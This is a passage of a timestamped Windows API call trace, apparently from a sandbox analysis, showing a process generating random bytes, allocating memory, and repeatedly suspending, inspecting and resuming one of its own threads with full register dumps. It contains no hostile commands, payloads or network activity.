	[0245.518] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c01e0 | out: pbBuffer=0xc0000c01e0) returned 1
	[0245.518] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c180 | out: pbBuffer=0xc00028c180) returned 1
	[0245.518] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082501 | out: pbBuffer=0xc000082501) returned 1
	[0245.529] VirtualAlloc (lpAddress=0xc000812000, dwSize=0x2e6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000812000
	[0245.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.574] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070bff908, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070bff908*=0x1ac) returned 1
	[0245.574] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.574] GetThreadContext (in: hThread=0x1ac, lpContext=0x7070bff920 | out: lpContext=0x7070bff920*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.576] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.576] CloseHandle (hObject=0x1ac) returned 1
	[0245.576] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.582] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070bff908, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070bff908*=0x1ac) returned 1
	[0245.582] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.582] GetThreadContext (in: hThread=0x1ac, lpContext=0x7070bff920 | out: lpContext=0x7070bff920*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.585] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.586] CloseHandle (hObject=0x1ac) returned 1
	[0245.586] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.593] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.596] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070bff908, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070bff908*=0x1ac) returned 1
	[0245.596] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.596] GetThreadContext (in: hThread=0x1ac, lpContext=0x7070bff920 | out: lpContext=0x7070bff920*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.615] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.615] CloseHandle (hObject=0x1ac) returned 1
	[0245.615] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.618] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070bff908, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070bff908*=0x1ac) returned 1
	[0245.618] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.618] GetThreadContext (in: hThread=0x1ac, lpContext=0x7070bff920 | out: lpContext=0x7070bff920*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.627] ResumeThread (hThread=0x1ac) returned 0x1
	[0245.627] CloseHandle (hObject=0x1ac) returned 1
	[0245.627] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.630] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0245.642] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070bff908, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070bff908*=0x1ac) returned 1
	[0245.642] SuspendThread (hThread=0x1ac) returned 0x0
	[0245.642] GetThreadContext (in: hThread=0x1ac, lpContext=0x7070bff920 | out: lpContext=0x7070bff920*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001e39d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, 